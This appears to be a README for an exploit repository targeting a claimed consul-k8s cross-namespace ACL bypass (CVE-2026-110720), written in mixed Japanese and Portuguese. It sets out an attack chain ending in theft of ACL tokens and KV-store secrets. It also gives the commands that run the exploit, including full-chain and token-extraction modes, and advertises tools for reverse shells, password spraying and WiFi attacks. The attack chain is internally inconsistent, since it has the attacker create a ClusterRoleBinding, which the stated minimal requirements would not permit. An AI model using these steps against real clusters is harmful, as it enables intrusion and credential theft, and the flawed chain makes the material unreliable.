CVE-2026-110720 - HashiCorp consul-k8s のクロスネームスペース ACL バイパス PoC およびエクスプロイト
ネームスペース制限のないClusterRoleBindingsにより、Kubernetesクラスタ内の任意のServiceAccountがConsulのACLをバイパスできるようになります。
CVE-2026-110720 v3.0.0 | consul-k8s Cross-Namespace ACL Bypass
By Gh0st-Bx1 | github.com/Ghost-Bx1
consul-k8s(バージョン 0.42.0 から 2.0.4)は、Consul の内部コンポーネント用の ClusterRoleBindings と ServiceAccounts を、名前空間によるバインディングの制限なしに生成します。global.acls.manageSystemACLs=true が有効な場合、任意の名前空間で作成された ServiceAccount が、システムコンポーネントであるかのように Consul サーバーへ認証でき、ACL の名前空間を完全にバイパスします。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-110720 |
| CVSS | 9.9(重大) |
| CWE | CWE-863(不適切な認可) |
| アドバイザリ | HCSEC-2026-50 |
| ベンダー | HashiCorp |
| 製品 | consul-k8s |
| 必要条件 | K8s: 別の名前空間で SA を作成しトークンを取得 + Consul API へのネットワークアクセス |
| 日付 | 2026年10月 |
| バージョン | ステータス |
|---|---|
| consul-k8s 0.42.0 - 2.0.4 | 脆弱 |
| consul-k8s >= 2.1.0 | 修正済み |
| consul-k8s >= 1.8.18(バックポート) | 修正済み |
Cluster K8s com consul-k8s + manageSystemACLs=true
|
v
consul-k8s cria ClusterRoleBinding sem restricao de namespace:
subjects:
- kind: ServiceAccount
name: consul-server-acl-init
namespace: consul <-- sem validacao de outros namespaces
|
v
Atacante cria namespace "evil-ns" e SA "consul-server-acl-init"
|
v
Atacante cria ClusterRoleBinding apontando seu SA
para o ClusterRole do Consul
|
v
Token do SA do atacante autentica como componente de sistema
no servidor Consul ACL
|
v
Acesso a: ACL tokens, service mesh policies, KV store secrets
| ServiceAccount | 権限 |
|---|---|
| consul-server-acl-init | ACL のブートストラップ |
| consul-client-acl-init | クライアント登録 |
| consul-connect-inject-acl-init | サービスメッシュトークン |
| consul-sync-catalog-acl-init | カタログ同期 |
python poc.py --check-install --namespace consul
python poc.py --list-bindings --namespace consul
python poc.py --check-acl --namespace consul
python poc.py --gen-sa --attacker-ns evil-ns --output /tmp/bypass.yaml
kubectl apply -f /tmp/bypass.yaml
python exploit.py --check --namespace consul
python exploit.py --exploit --namespace consul --attacker-ns ghost-exploit-ns
python exploit.py --full-chain --namespace consul
# Apos obter o token K8s do SA comprometido:
python exploit.py --consul-extract <k8s-jwt-token> --namespace consul
python exploit.py --cleanup --attacker-ns ghost-exploit-ns
# Verificar bindings vulneraveis
kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("consul")) | .subjects'
このリポジトリは教育およびセキュリティ研究を目的としています。明示的な許可を得た環境でのみ使用してください。作者は不正使用について一切の責任を負いません。
| ツール | 説明 |
|---|---|
| ghost-ad | Active Directory - LDAP、Kerberoasting、AS-REP Roasting、BloodHound-lite |
| ghost-cloud | クラウドセキュリティ - AWS、Azure、GCPの設定不備スキャナー |
| ghost-fuzz | Webファジング - ディレクトリブルートフォース、パラメータファジング、vhost列挙 |
| ghost-osint | OSINT - 公開ソースからのドメイン、メール、IPインテリジェンス |
| ghost-privesc | 権限昇格 - Linux privescチェッカー、17ベクター、GTFOBins |
| ghost-recon | 偵察 - DNS、SSL、WAF、サブドメイン列挙、メールセキュリティ |
| ghost-report | レポーティング - 任意のghost-* JSON出力からペネトレーションテストレポートを生成 |
| ghost-scan | ポートスキャナー - バナー取得とCVE相関を備えた非同期TCP/UDPスキャナー |
| ghost-shell | ペイロード生成 - リバースシェルおよびWebシェルジェネレーター、25以上の言語 |
| ghost-spray | 認証情報攻撃 - パスワードスプレー、スタッフィング、デフォルト認証情報テスト |
| ghost-wifi | WiFi攻撃 - モニターモード、deauth、WPA/WPA2キャプチャ、PMKID、WPS、Evil Twin |